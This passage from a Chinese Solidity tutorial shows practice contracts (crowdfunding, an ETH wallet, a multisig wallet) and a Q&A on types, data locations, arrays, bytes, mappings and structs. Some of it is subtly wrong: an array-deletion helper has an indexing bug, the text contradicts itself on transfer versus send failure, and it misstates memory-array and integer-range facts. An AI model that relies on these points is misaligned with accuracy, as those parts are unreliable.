// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract CrowdFunding {
address public immutable beneficiary; // 受益人
uint256 public immutable fundingGoal; // 筹资目标数量
uint256 public fundingAmount; // 当前的 金额
mapping(address=>uint256) public funders;
// 可迭代的映射
mapping(address=>bool) private fundersInserted;
address[] public fundersKey; // length
// 不用自销毁方法,使用变量来控制
bool public AVAILABLED = true; // 状态
// 部署的时候,写入受益人+筹资目标数量
constructor(address beneficiary_,uint256 goal_){
beneficiary = beneficiary_;
fundingGoal = goal_;
}
// 资助
// 可用的时候才可以捐
// 合约关闭之后,就不能在操作了
function contribute() external payable{
require(AVAILABLED,"CrowdFunding is closed");
funders[msg.sender] += msg.value;
fundingAmount += msg.value;
// 1.检查
if(!fundersInserted[msg.sender]){
// 2.修改
fundersInserted[msg.sender] = true;
// 3.操作
fundersKey.push(msg.sender);
}
}
// 关闭
function close() external returns(bool){
// 1.检查
if(fundingAmount<fundingGoal){
return false;
}
uint256 amount = fundingAmount;
// 2.修改
fundingAmount = 0;
AVAILABLED = false;
// 3. 操作
payable(beneficiary).transfer(amount);
return true;
}
function fundersLenght() public view returns(uint256){
return fundersKey.length;
}
}
上面的合约只是一个简化版的 众筹合约,但它已经足以让我们理解本节介绍的类型概念。
自己动手
上面写的是项目方角度的募集自己。如果是募集平台,肯定是会向 Todo List 那个练习中一样,是有众筹 ID 的;请按照众筹平台的角度来写一个众筹协议。
使用平台角度写合约
使用 stuct 格式。
【选做】:增加众筹时间的限制
如果规定时间内完成,则结束后转钱给受益人
如果规定时间内没有完成,则资金释放,捐赠者自己取回捐赠资金。
实战 3: 同志们好增加提示
需求分析
需要点击一个方法,查看当前的 step 到哪里了?然后提示下一步该干什么。
比如:当前的 step 是:0 可以执行 hello ,领导说:同志们好。
难点:数字怎么转换成 string?
代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public step = 0;
/// @notice 用于辅助获取下一步该做什么的方法
/// @dev 整理step对应的错误,注意数字转为字符串时候的途径
/// @return 当前的提示信息
function helperInfo() external view returns (string memory) {
string memory stepDes = unicode"当前的step是:";
string memory info;
if (step == 0) {
info = unicode"可以执行 hello ,领导说:同志们好";
} else if (step == 1) {
info = unicode"可以执行 helloRes ,同志们说:领导好";
} else if (step == 2) {
info = unicode"可以执行 comfort ,领导必须给钱,并且说:同志们辛苦了";
} else if (step == 3) {
info = unicode"可以执行 comfortRes ,同志们说:为人民服务";
} else if (step == 4) {
info = unicode"可以执行 selfdestruct";
} else {
info = unicode"未知";
}
return string.concat(stepDes, uintToString(step), " ", info);
}
// 另外一种转换方法
//调用这个函数,通过取模的方式,一位一位转换
function uintToString(uint256 _uint)
internal
pure
returns (string memory str)
{
if (_uint == 0) return "0";
while (_uint != 0) {
//取模
uint256 remainder = _uint % 10;
//每取一位就移动一位,个位、十位、百位、千位……
_uint = _uint / 10;
//将字符拼接,注意字符位置
str = string.concat(toStr(remainder), str);
}
}
function toStr(uint256 num_) internal pure returns (string memory) {
require(num_ < 10,"error");
bytes memory alphabet = "0123456789";
bytes memory str = new bytes(1);
str[0] = alphabet[num_];
return string(str);
}
}
实战 4: ETH 钱包
内容
这一个实战主要是加深大家对 3 个取钱方法的使用。
任何人都可以发送金额到合约
只有 owner 可以取款
3 种取钱方式
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract EtherWallet {
address payable public immutable owner;
event Log(string funName, address from, uint256 value, bytes data);
constructor() {
owner = payable(msg.sender);
}
receive() external payable {
emit Log("receive", msg.sender, msg.value, "");
}
function withdraw1() external {
require(msg.sender == owner, "Not owner");
// owner.transfer 相比 msg.sender 更消耗Gas
// owner.transfer(address(this).balance);
payable(msg.sender).transfer(100);
}
function withdraw2() external {
require(msg.sender == owner, "Not owner");
bool success = payable(msg.sender).send(200);
require(success, "Send Failed");
}
function withdraw3() external {
require(msg.sender == owner, "Not owner");
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Call Failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
实战 5: 多签钱包
多签钱包的功能: 合约有多个 owner,一笔交易发出后,需要多个 owner 确认,确认数达到最低要求数之后,才可以真正的执行。
原理
部署时候传入地址参数和需要的签名数
多个 owner 地址
发起交易的最低签名数
有接受 ETH 主币的方法,
除了存款外,其他所有方法都需要 owner 地址才可以触发
发送前需要检测是否获得了足够的签名数
使用发出的交易数量值作为签名的凭据 ID(类似上么)
每次修改状态变量都需要抛出事件
允许批准的交易,在没有真正执行前取消。
足够数量的 approve 后,才允许真正执行。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract MultiSigWallet {
// 状态变量
address[] public owners;
mapping(address => bool) public isOwner;
uint256 public required;
struct Transaction {
address to;
uint256 value;
bytes data;
bool exected;
}
Transaction[] public transactions;
mapping(uint256 => mapping(address => bool)) public approved;
// 事件
event Deposit(address indexed sender, uint256 amount);
event Submit(uint256 indexed txId);
event Approve(address indexed owner, uint256 indexed txId);
event Revoke(address indexed owner, uint256 indexed txId);
event Execute(uint256 indexed txId);
// receive
receive() external payable {
emit Deposit(msg.sender, msg.value);
}
// 函数修改器
modifier onlyOwner() {
require(isOwner[msg.sender], "not owner");
_;
}
modifier txExists(uint256 _txId) {
require(_txId < transactions.length, "tx doesn't exist");
_;
}
modifier notApproved(uint256 _txId) {
require(!approved[_txId][msg.sender], "tx already approved");
_;
}
modifier notExecuted(uint256 _txId) {
require(!transactions[_txId].exected, "tx is exected");
_;
}
// 构造函数
constructor(address[] memory _owners, uint256 _required) {
require(_owners.length > 0, "owner required");
require(
_required > 0 && _required <= _owners.length,
"invalid required number of owners"
);
for (uint256 index = 0; index < _owners.length; index++) {
address owner = _owners[index];
require(owner != address(0), "invalid owner");
require(!isOwner[owner], "owner is not unique"); // 如果重复会抛出错误
isOwner[owner] = true;
owners.push(owner);
}
required = _required;
}
// 函数
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function submit(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns(uint256){
transactions.push(
Transaction({to: _to, value: _value, data: _data, exected: false})
);
emit Submit(transactions.length - 1);
return transactions.length - 1;
}
function approv(uint256 _txId)
external
onlyOwner
txExists(_txId)
notApproved(_txId)
notExecuted(_txId)
{
approved[_txId][msg.sender] = true;
emit Approve(msg.sender, _txId);
}
function execute(uint256 _txId)
external
onlyOwner
txExists(_txId)
notExecuted(_txId)
{
require(getApprovalCount(_txId) >= required, "approvals < required");
Transaction storage transaction = transactions[_txId];
transaction.exected = true;
(bool sucess, ) = transaction.to.call{value: transaction.value}(
transaction.data
);
require(sucess, "tx failed");
emit Execute(_txId);
}
function getApprovalCount(uint256 _txId)
public
view
returns (uint256 count)
{
for (uint256 index = 0; index < owners.length; index++) {
if (approved[_txId][owners[index]]) {
count += 1;
}
}
}
function revoke(uint256 _txId)
external
onlyOwner
txExists(_txId)
notExecuted(_txId)
{
require(approved[_txId][msg.sender], "tx not approved");
approved[_txId][msg.sender] = false;
emit Revoke(msg.sender, _txId);
}
}
测试流程
部署合约
传入所有 owner 地址
传入需要的批准数: 例子是 3
调用
required
查询需要的数量获取
getBalance
查询当前地址的 ETH 主币余额使用
isOwner
查询多个地址的权限,看是否符合预期使用
owners
查询不同的索引是否符合预期使用
transactions
查询初始是否为没有值使用其他地址向合约内转入 ETH 主币
使用
getBalance
查询当前地址的 ETH 余额是否符合预期调用
submit
,申请转出一笔钱到指定地址_to
地址_value
需要的金额_data
: 如果没有需要的执行的代码,传入默认的0x
即可返回值为本次交易的
txId
记录
_to
的当前余额记录 合约的当前余额,使用
getBalance
获取
使用
transactions
查询txId
是否为预期使用
getApprovalCount
查询批准数量是否为 0使用
getBalance
查询当前地址的 ETH ,确认钱没有被转出使用
approved
查询当前txId
是否被 owner1 批准使用 owner1 调用
approv
对txId
进行批准使用
getApprovalCount
查询批准数量是否为 1使用 owner1 调用
approv
对txId
进行再次批准查看是否报错
tx already approved
使用
approved
查询当前txId
是否被某个 owner1 批准使用
getBalance
和transactions
查询txId
是否为预期使用
owner2
owner3
地址调用approv
对txId
进行批准使用
approved
查询当前txId
是否被 owner1 批准
用
getApprovalCount
查询批准数量是否为 3使用 owner1 调用
revoke
对txId
进行批准撤销用
getApprovalCount
查询批准数量是否为 2使用 owner1 调用
execute
进行正式执行查看是否报错
"approvals < required"
.
使用 owner1 调用
revoke
对txId
进行再次批准使用
approved
查询当前txId
是否被 owner1 批准
用
getApprovalCount
查询批准数量是否为 3使用 owner1 再次调用
execute
进行正式执行查询当前交易是否正确执行
确认执行的结果是否符合预期
使用
transactions
查询txId
的exected
是否为 true_to
地址是否收到金额,使用
getBalance
查询当前地址的 ETH 余额是否正确
问答题
为什么
uint8/int8
至uint256/uint256
都是以 8 的倍数递增,且最大值是 256。1 字节是 8 位,所以后面 8,16,都需要是 8 的整数倍,int8 是 8 位。EVM 为地址设置的最大长度是 256 位,所以最大值是
uint256/uint256
。
为什么
uint256
的最大值是2**256 -1
,而不是2**256
呢?1 字节是 8 位,int8 是 8 位,二进制表示为
0000 0000
至1000 0000
,第一位是符号位;第一位为 0 是正值,第一位为 1 是负值;因为 int8 总共能够表示 2 的 8 次方,所以带符号的正值为 128 个数,负值为 128 个数;计算机里是将 0 算在正值内,负值的范围还是-128;但是 0 不是正数也不是负数,所以正值范围少了一个位置,就剩 127 个位置了。
计算机中 字节 & bit & 十六进制数字的关系
bytes1 是指 1 个字节,1 个字节可以表示成 2 个连续的 16 进制数字。最大值是
0xff
bytes1 是指 1 个字节,1 个字节可以表示成 8 个连续的 bit 数字。最大值是
11111111
bytes1
等于两位连续的十六进制数字0xXX
8 个 bit 最大值是
11111111
,8 个 bit 对应 2 个连续的十六进制数字,最大是0xff
;uint8
等于两位连续的十六进制数字0xXX
Solidity 的值类型和引用类型分别有哪些?
值类型
boolean
integer 整型
integer 整型字面量
123_456_789
/uint8 public a = (2**800 + 1) - 2**800;
Fixed 定长浮点型,可以声明定长浮点型的变量,但不能给它们赋值或把它们赋值给其他变量。
BytesN 定长字节数组
字符串字面量,比如
bytes1 public a8 = "a";
,也包括 unicode 字面常量。十六进制字面常量
contract Test { string public a1 = "a"; bytes1 public a2 = "a"; bytes1 public a3 = 0x61; bytes1 public a4 = hex"61"; }
Enum:枚举
用户定义的值类型;用户定义值类型使用 type UserType is DefaultType 来定义,其中 UserType 是新引入的类型的名称, DefaultType 必须是内置的值类型(”底层类型”)。
地址类型/合类型约
函数类型
引用类型
array
bytes(bytes 和 bytes32[] 区别)
string
mapping
struct
int/uint
如何获取整型的最大值和最小值
可以使用
type(int8).max
获取该类型的最大值可以使用
type(int8).min
获取该类型的最小值
聊一聊
checked
和unchecked
0.8.0 开始,算术运算有两种计算模式:一种是
checked
(检查)模式,另一种是unchecked
(不检查)模式。 默认情况下,算术运算在checked
模式下,即都会进行溢出检查,如果结果落在取值范围之外,调用会通过 失败异常 回退。 你也可以通过unchecked{ ... }
切换到 “unchecked”模式,更多可参考unchecked
.现在不需要因为 safeMath 库了。
下面代码会报错么?为什么?
uint8 public a = (2**800 + 1) - 2**800; // 1 uint8 public b = 0.5 * 8; // 4 uint8 public c = 2.5 + b + 0.5;
(2**800 + 1) - 2**800
的结果是字面常量 1 (属于 uint8 类型),尽管计算的中间结果已经超过了 以太坊虚拟机的机器字长度。 此外,.5 * 8
的结果是整型4
(尽管有非整型参与了计算)。尽管我们知道 b 的值是一个整数,但
2.5 + a
这部分表达式并不进行类型检查,因此编译不能通过。
下面代码中的
c1
/c2
结果是什么?uint256 a = 1; uint256 b = 4; uint256 c1 = (1 / 4) * 4; // 1 => 未截断 uint256 c2 = (a / b) * b; // 0 => 截断
整数的除法会被截断(例如:
1/4
结果为 0),但是使用字面量的方式不会被截断
下面两个函数都会运行成功么?
function test1() public pure returns (int256 a) { a = type(int256).min / (-2); } // VM error: revert. function test2() public pure returns (int256 a) { a = type(int256).min / (-1); }
表达式
type(int).min / (-1)
是仅有的整除会发生向上溢出的情况。 在算术检查模式下,这会触发一个失败异常,在截断模式下,表达式的值将是type(int).min
。
下面例子输出什么?
你可能认为像
255 + (true ? 1 : 0)
或255 + [1, 2, 3][0]
这样的表达式等同于直接使用 256 字面常量。 但事实上,它们是在uint8
类型中计算的,会溢出。
// VM error: revert. function testA1() public pure returns (uint256 a) { a = 255 + (true ? 1 : 0); } function testA2() public pure returns (uint256 a) { a = (true ? 1 : 0) + 255; } // VM error: revert. function testB1() public pure returns (uint256 a) { a = 255 + [1, 2, 3][0]; } function testB2() public pure returns (uint256 a) { a = [1, 2, 3][0] + 255; } function testA3() public pure returns (uint256 a) { a = 255 + uint256(true ? 1 : 0); } function testB3() public pure returns (uint256 a) { a = 255 + uint256([1, 2, 3][0]); }
BytesN 定长字节数组
bytesN
有哪些属性,分别怎么使用。定义方式
bytesN
,其中 N 可取1~32
中的任意整数;bytes1 代表只能存储一个字节。一旦声明,其内部的字节长度不可修改,内部字节不可修改。注意这里bytes32
和bytes
是不同的。bytes
是变长字节数组,是引用类型。byte
是bytes1
的别名,不推荐使用。length
(只读)返回字节个数,可以通过索引读取对应索引的字节。
索引访问:
bytesN[index]
index 取值范围
[0, N]
,其中 N 表示长度。如果
x
是bytesI
类型,那么x[k]
(其中 0 <= k < I)返回第 k 个字节(只读)。
bytesN
有什么方法?自己没有方法,可以全局的,比如 delete。
"a"
是值类型还是引用类型?注:字符串字面常量是值类型,这不是字符串类型。比如
bytes1 public b1 = "a";
Unicode
怎么样输出中文字符串?(
unicode"同志们好"
)
十六进制字面常量
bytes1 public a4 = hex"61";
的值是什么?(0x61
)
Enum:枚举
枚举类型的使用场景
enum
是一种用户自定义类型,用于表示多种状态,枚举可用来创建由一定数量的“常量值”构成的自定义类型。主要作用是用于限制某个事务的有限选择。比如将咖啡的容量大小限制为:大、中、小,这将确保任何人不能购买其他容量的咖啡,只能在这里选择。
Enum 的属性和方法
选项从 0 开始的无符号整数值表示。
type(NameOfEnum).min/max
delete 恢复默认
聊一聊枚举类型
枚举类型,返回值是索引,默认值是 0;
枚举类型的默认值是第一个值。
枚举类型 enum 至少应该有一名成员。
设置的时候,可以设置为索引,也可以对应的枚举名称;
枚举类型 enum 可以与整数进行显式转换,但不能进行隐式转换。
显示转换会在运行时检查数值范围,如果不匹配,将会引起异常。
很多人感觉 enum 很少用,一是因为应用场景确实比较窄,二是因为可以被其他数据类型所代替;但按照编码规范,限制选择范围场景,除了 bool 以外的,推荐使用 enum 类型来定义。
UserType 用户定义的值类型
聊一聊 UserType。
用户定义值类型使用
type UserType is DefaultType
来定义,其中UserType
是新引入的类型的名称,DefaultType
必须是内置的值类型(”底层类型”)。自定义类型的值的数据表示则继承自底层类型,并且 ABI 中也使用底层类型。⚠️: 用户定义的类型
UserType
没有任何运算符或绑定成员函数。即使是操作符==
也没有定义。也不允许与其他类型进行显式和隐式转换。
UserType 有属性么?有方法么?
UserType.wrap()
UserType.unwrap()
address
address
和address payable
有什么区别address
:保存一个 20 字节的值(以太坊地址的大小)。address payable
:可支付地址,与address
相同,不过有成员函数transfer
和send
。如果你需要
address
类型的变量,并计划发送以太币给这个地址,那么声明类型为address payable
可以明确表达出你的需求。 同样,尽量更早对他们进行区分或转换。这种区别背后的思想是
address payable
可以向其发送以太币,而不能向一个普通的address
发送以太币。比如,它可能是一个智能合约地址,并且不支持接收以太币。
address 类型分别有什么属性?介绍一下用途
.balance : 以 Wei 为单位的余额。
<address>.balance returns(uint256)
.code : 地址上的代码(可以为空)
<address>.code returns(bytes memory)
.codehash : 地址的 codehash
<address>.codehash returns(bytes32)
address 类型有哪些方法以及各自的作用。
address()
: 可以将地址转换到地址类型。payable()
: 将普通地址转为可支付地址。从
address
到address payable
的转换。可以通过payable(x)
进行 ,其中x
必须是address
类型。
.transfer(uint256 amount)
: 将余额转到当前地址(合约地址转账)<address payable>.transfer(uint256 amount)
失败时抛出异常, 等价于
require(send())
使用固定(不可调节)的 2300 gas 的矿工费,错误会 reverts需要 payable address
.send(uint256 amount)
: 将余额转到当前地址,并返回交易成功状态(合约地址转账)<address payable>.send(uint256 amount) returns (bool)
失败时仅会返回
false
,不会终止执行(合约地址转账);使用固定(不可调节)的 2300 gas 的矿工费。需要 payable address
补充:send 与 transfer 对应,但 send 更底层。如果执行失败,transfer 不会因异常停止,而 send 会返回 false。transfer 相对 send 较安全
send() 执行有一些风险:如果调用栈的深度超过 1024 或 gas 耗光,交易都会失败。因此,为了保证安全,必须检查 send 的返回值,如果交易失败,会回退以太币。
.call(bytes memory)
: 用给定的有效载荷(payload)发出低级CALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账)<address>.call(bytes memory) returns (bool, bytes memory)
发送所有可用 gas,也可以自己调节 gas。
返回两个参数,一个
bool
值代表成功或者失败,另外一个是可能存在的data
低级
CALL
调用:不需要 payable address, 普通地址即可
.delegatecall(bytes memory)
: 用给定的有效载荷(payload)发出低级DELEGATECALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账)<address>.delegatecall(bytes memory) returns (bool, bytes memory)
发出低级函数
DELEGATECALL
,失败时返回 false,发送所有可用 gas,也可以自己调节 gas。
staticcall(bytes memory)
: 用给定的有效载荷(payload)发出低级STATICCALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账)<address>.staticcall(bytes memory) returns (bool, bytes memory)
发送所有可用 gas,也可以自己调节 gas。
地址的三种转帐有什么区别?transfer / send /call
相同点
三种方法都可以进行转账
_to.transfer(100)
、_to.send(100)
、_to.call{value: 100}("")
的接收方都是_to
。如果
_to
合约中必须增加fallback
或者receive
函数!否则报错
In order to receive Ether transfer the contract should have either 'receive' or payable 'fallback' function
不同点:
低级
CALL
调用:不需要payable address
transfer 和 send 只能是
payable address
call
的 gas 可以动态调整transfer 和 send 只能是固定制
2300
call
除了可以转账外,可以还可以调用不知道 ABI 的方法,还可以调用的时候转账当调用不存在的合约方法时候,会触发对方合约内的
fallback
或者receive
。如果使用
_to.call{value: 100}(data)
,那么data
中被调用的方法必须添加payable
修饰符,否则转账失败!因为可以调用方法,所以 call 有两个参数,除了一个
bool
值代表成功或者失败,另外一个是可能存在的data
,比如创建合约时候得到部署的地址,调用函数时候得到的函数放回值。
delegatecall 和 call 的区别
delegatecall
使用方法和call
完全一样。区别在于,delegatecall
只调用给定地址的代码(函数),其他状态属性如(存储,余额 …)都来自当前合约。delegatecall
的目的是使用另一个合约中的库代码。委托调用是:委托对方调用自己数据的。类似授权转账,比如我部署一个 Bank 合约, 授权 ContractA 使用 Bank 地址内的资金,ContractA 只拥有控制权,但是没有拥有权。
委托调用后,所有变量修改都是发生在委托合约内部,并不会保存在被委托合约中。
利用这个特性,可以通过更换被委托合约,来升级委托合约。
委托调用合约内部,需要和被委托合约的内部参数完全一样,否则容易导致数据混乱
可以通过顺序来避免这个问题,但是推荐完全一样
聊一聊三种低级 call
call
,delegatecall
和staticcall
都是非常低级的函数,应该只把它们当作最后一招来使用,它们破坏了 Solidity 的类型安全性。三种方法都提供
gas
选项,而value
选项仅call
支持 。所以三种 call 里只有call
可以进行 ETH 转账,其他两种不可以进行转账。不管是读取状态还是写入状态,最好避免在合约代码中硬编码使用的 gas 值。这可能会引入错误,而且 gas 的消耗也是动态改变的。
如果在通过低级函数
delegatecall
发起调用时需要访问存储中的变量,那么这两个合约的存储布局需要一致,以便被调用的合约代码可以正确地通过变量名访问合约的存储变量。 这不是指在库函数调用(高级的调用方式)时所传递的存储变量指针需要满足那样情况。
编写合约的时候,如果地址不是 checksum address ,该怎么处理?
通过浏览器内转
聊一下合约类型
每一个合约定义都有他自己的类型。
可以隐式地将合约转换为从他们继承的合约。
合约可以显式转换为
address
类型。可以转换为
address payable
类型⚠️ 注意:合约不支持任何运算符。
合约的属性
type(C).name
获得合约名
type(C).creationCode
获得包含创建合约字节码的内存字节数组。
该值和合约内使用
address(this).code;
结果一样。它可以在内联汇编中构建自定义创建例程,尤其是使用
create2
操作码。不能在合约本身或派生的合约访问此属性。 因为会引起循环引用。
type(C).runtimeCode
获得合约的运行时字节码的内存字节数组。这是通常由
C
的构造函数部署的代码。如果
C
有一个使用内联汇编的构造函数,那么可能与实际部署的字节码不同。还要注意库在部署时修改其运行时字节码以防范定期调用(guard against regular calls)。 与
.creationCode
有相同的限制,不能在合约本身或派生的合约访问此属性。 因为会引起循环引用。
如何获取合约本身的 bytecode?
type(C).creationCode
数据位置
聊一聊 storage/memory/calldata 三种数据位置
存储 storage : 状态变量保存的位置,只要合约存在就一直存储.
内存 memory : 即数据在内存中,因此数据仅在其生命周期内(函数调用期间)有效。不能用于外部调用。
调用数据 calldata : 用来保存函数参数的特殊数据位置,是一个只读位置。
调用数据 calldata 是不可修改的、非持久的函数参数存储区域,效果大多类似 内存 memory 。
主要用于外部函数的参数,但也可用于其他变量,无论外部内部函数都可以使用。
核心:更改数据位置或类型转换将始终产生自动进行一份拷贝,而在同一数据位置内(对于 存储 storage 来说)的复制仅在某些情况下进行拷贝。
三种数据位置相互赋值,以及相同数据位置之间赋值都是拷贝么?详细介绍一下。
将 存储变量 赋值给 存储变量 (同类型)
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
将 内存变量 赋值给 存储变量
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
将 存储变量 赋值给 内存变量
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
将 内存变量 赋值给 内存变量 (同类型)
值 类 型
: 创建一个新副本。引用类型
: 不会创建副本。(重要)
memory 和 calldata 之间的区别
函数调用函数时的区别:
calldata可以隐式转换为memory
calldata 可以隐式转换为 memory
memory 不可以隐式转换为 calldata
作为参数:
memory 可以修改参数
calldata 禁止修改参数
array
创建数组的方法有哪些。(定长数组,动态数组)
固定长度数组:创建
uint256[5] public T1 = [1, 2, 3, 4, 5]; address[5] public A = [0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac]; bytes1[5] public B = [bytes1(0x61)];
可变长度数组:创建
方式 1:
uint256[] T1 = [1, 2, 3, 4, 5];
该方式不可以在函数内创建
方式 2:
uint256[] T2 = new uint256[](5);
用方式 2 创建数组时,若数组为成员变量, 则默认为 storage 类型;
若为局部变量默认为
memory
类型,memory
类型的数组,必须声明长度,并且长度创建后不可变。push
方法不能用在memeory
的数组上,只能逐个索引的赋值。
二维数组:创建
举个例子,一个长度为
5
,元素类型为 uint 的动态数组的数组(二维数组),应声明为uint[][5]
(注意这里跟其它语言比,数组长度的声明位置是反的)。在 Solidity 中,X[3]
总是一个包含三个 X 类型元素的数组,即使 X 本身就是一个数组.uint256[2][3] public T = [[1, 2], [3, 4], [5, 6]];
T.length
为 3
其它
uint256[2][] public T = new uint256[2][](10);
内存中如何创建数组
可以使用
new
关键字在内存中创建动态数组。与存储数组相反,不能通过设置.length
成员来调整内存动态数组的长度。 (需要例子来演示)。memory 类型的数组长度创建后不可变,不能通过修改成员变量.push
改变 memory 数组的大小。必须提前计算数组大小,或者创建一个新的内存数组并复制每个元素。创建格式:
uint256[] memory a = new uint256[](5);
内存中创建的数组是局部变量。
内存中不能创建动态数组,必须创建定长数组。
下面代码可以正常运行么?如果可以,值分别是什么?
目前需要注意的是,定长的 memory 数组并不能赋值给变长的 memory 数组,下面的例子 f 函数是无法运行的:
引发了一个类型错误,因为
unint[3] memory
,不能转换成uint[] memory
。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Demo { uint256[] public x = [1, 3, 4]; uint256[] public y = [uint256(1), 3, 4]; uint256[] public z = [uint8(1), 3, 4]; function f() public pure returns(uint256[] memory x){ x = [uint256(1), 3, 4]; } }
下面代码可以正常运行么?
不可以,需要
s([uint256(1), uint256(2)])
contract T { function t() public { s([1, 2]); } function s(uint256[2] memory _arr) public {} }
有哪些可以操作数组的方法,分别功能是什么?(
push
/pop
/delete
/x[start:end]
)push 增加,改变长度
pop 删除最后一位,改变长度
delete: 删除对应的索引;删除并不会改变长度,索引位置的值会改为默认值。
x[start:end]
: 数组切片,仅可使用于calldata
数组.
能否实现一个完全 delete 数组的方法(删除数据,长度改变),说下实现逻辑也可以。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract FunctionOutputs { function deletePro(uint256[] memory arr, uint256 _index) internal pure returns (uint256[] memory temp) { require(_index < arr.length, "index out of bound"); temp = new uint256[](arr.length - 1); for (uint256 index = 0; index <= temp.length - 1; index++) { if (index >= _index) { temp[_index] = arr[_index + 1]; } else { temp[index] = arr[index]; } } } function test() external pure returns (uint256[] memory arr, uint256[] memory temp) { arr = new uint256[](3); arr[0] = 1; arr[1] = 2; arr[2] = 3; assert(arr[0] == 1); assert(arr[1] == 2); assert(arr[2] == 3); assert(arr.length == 3); temp = deletePro(arr, 1); assert(temp[0] == 1); assert(temp[1] == 3); assert(temp.length == 2); } }
bytes
bytes 的创建方法有哪些?
状态变量的创建方式
bytes public welcome = bytes("1.Welcome");
函数中可变字节数组创建方式:
// 可变字节数组创建方式 bytes memory temp2 = new bytes(length);
bytes
bytes32
,和bytes32[]
区别 是什么?abcBytes
的值是:0x616263
;abcArray
的值是:[0x61..00,0x62..00,0x63..00]
bytes32[] public abcArray = [bytes1("a"), bytes1("b"), bytes1("c")]; // 0x616263 bytes public abcBytes = bytes("abc");
下面的值分别是什么?
bytes32[] public abcArray = [bytes1("a"), bytes1("b"), bytes1("c")]; bytes public abcBytes = bytes("abc");
bytes 的值如何修改?(
bytesVar[7] = 'x'
)有哪些方法可以操作
bytes
类型数据?分别是什么功能?concat
/push
/x[start:end]
/delete
/bytes()
bytes
和string
之间如何转换?可以使用
bytes()
构造函数将字符串转换为bytes
。可以使用 string() 构造函数将 bytes 转换为字符串。
如何比较两个 bytes 数据是否相同?
keccak256(welcome2) == keccak256(welcome1);
string
如何修改 string 类型的字符串?
获取字符串的长度
bytes(str).length
:以字节长度表示字符串的长度
某个字符串索引的字节码
bytes1 temp1 = bytes(str)[_index];
function getIndexValue(uint256 _index) public view return(string memory) { bytes1 temp1 = bytes(welcome)[_index]; // 返回固定长度的 bytes1 bytes memory temp2 = new bytes(1); // 可变字节数组创建方式 temp2[0] = temp1; return string(temp2); }
修改字符串
bytes(s)[7] = 'x'
如何比较两个 string 类型的字符串是否相等?
keccak256(abi.encodePacked(s1)) == keccak256(abi.encodePacked(s2))
keccak256(bytes(s1)) == keccak256(bytes(s2))
: 更推荐这个,省 gas
mapping
mapping 使用的时候有哪些需要注意的?
_KeyType
:可以是任何内置类型,或者 bytes 和 字符串。不允许使用引用类型或复杂对象
键是唯一的,其赋值方式为:
map[a]=test
; 意思是键为 a,值为 test;。
_ValueType
: 可以是任何类型。mapping 支持嵌套。
映射的数据位置(data location)只能是
storage
,通常用于状态变量。mapping
不能用于public
函数的参数或返回结果映射只能是 存储 storage 的数据位置,因此只允许作为状态变量 或 作为函数内的 存储 storage 引用 或 作为库函数的参数。 它们不能用合约公有函数的参数或返回值。
这些限制同样适用于包含映射的数组和结构体。
映射可以标记为
public
,Solidity 自动为它创建 getter 函数。_KeyType
将成为getter
的必须参数,并且 getter 会返回_ValueType
。如果
ValueType
是一个映射。这时在使用getter
时将需要递归地传入每个KeyType
参数,
映射与哈希表不同的地方:在映射中,并不存储 key,而是存储它的
keccak256
哈希值,从而便于查询实际的值。正因为如此,映射是没有长度的,也没有key 的集合
或value 的集合
的概念。映射只能是存储的数据位置,因此只允许作为状态变量或作为函数内的存储引用 或 作为库函数的参数。
mapping 如何获取-设置-删除?
balances[msg.sender];
balances[msg.sender] += amount;
delete balances[msg.sender];
mapping 怎么做局部变量?
mapping
类型可以用做局部变量,但只能引用状态变量,而且存储位置为 storage。
contract Mapping { mapping(address => uint256) public balances; function updateBalance() public returns (uint256) { // mapping 局部变量 ref 引用状态变量 balances mapping(address => uint256) storage ref = balances; ref[msg.sender] = 3; return ref[msg.sender]; } }
如何实现一个可迭代的 mapping?
(Mapping+array)
contract Mapping { mapping(address => uint256) public balances; mapping(address => bool) public balancesInserted; address[] public balancesKey; function set(address _ads, uint256 amount) external { balances[_ads] = amount; if (!balancesInserted[_ads]) { balancesInserted[_ads] = true; balancesKey.push(_ads); } } function totalAddress() external view returns (uint256) { return balancesKey.length; } function first() external view returns (uint256) { return balances[balancesKey[0]]; } function latest() external view returns (uint256) { return balances[balancesKey[balancesKey.length - 1]]; } function get(uint256 i) external view returns (uint256) { require(i < balancesKey.length, "length error"); return balances[balancesKey[i]]; } }
struct
struct 使用的时候有哪些需要注意的?
struct 的创建方法有哪些?(3 种)
// 第 1 种生成 Book memory solidity = Book("Solidity", "LiSi", ++bookId, false, 0); // 第 2 种生成 Book memory rust = Book({ title: "Solidity", author: "LiSi", book_id: ++bookId, is_lost: false, uv: 0 }); // 第 3 种生成 Book memory temp; temp.title = "Solidity"; temp.author = "LiSi"; temp.book_id = ++bookId;
struct 如何获取-设置-删除?
函数内仅读取结构体,变量使用 memory:
Book memory _book = bookcase[_index];
函数内读取并返回,如果使用 memory 变量接收:从状态变量拷贝到内存中,然后内存中的变量拷贝到返回值。两次拷贝,消耗 gas 多
Todo memory temp = list[_index];
函数内读取并返回,如果使用 storage 变量接收:直接从状态变量读取,状态变量拷贝到返回值。1 次拷贝,消耗 gas 小
总结: 读取时候推荐使用
storage
函数内获取并修改结构体,变量使用 storage
Book storage _book = bookcase[_index]; // 因为要修改状态变量,所以使用 storage _book.author = "Anbang";
函数内直接修改变量;在修改一个属性时比较省 Gas 费用
函数内先获取存储到 storage 再修改:修改多个属性的时候比较省 Gas 费用
删除结构体的变量,仅仅是重置数据,并不是完全的删除。
函数内使用 struct,标记
memory
/storage
有什么区别?函数内读取时,标记
memory
/storage
,会产生完全不同的结果;特别注意:如果结构体内包含
mapping
类型,则必须使用storage
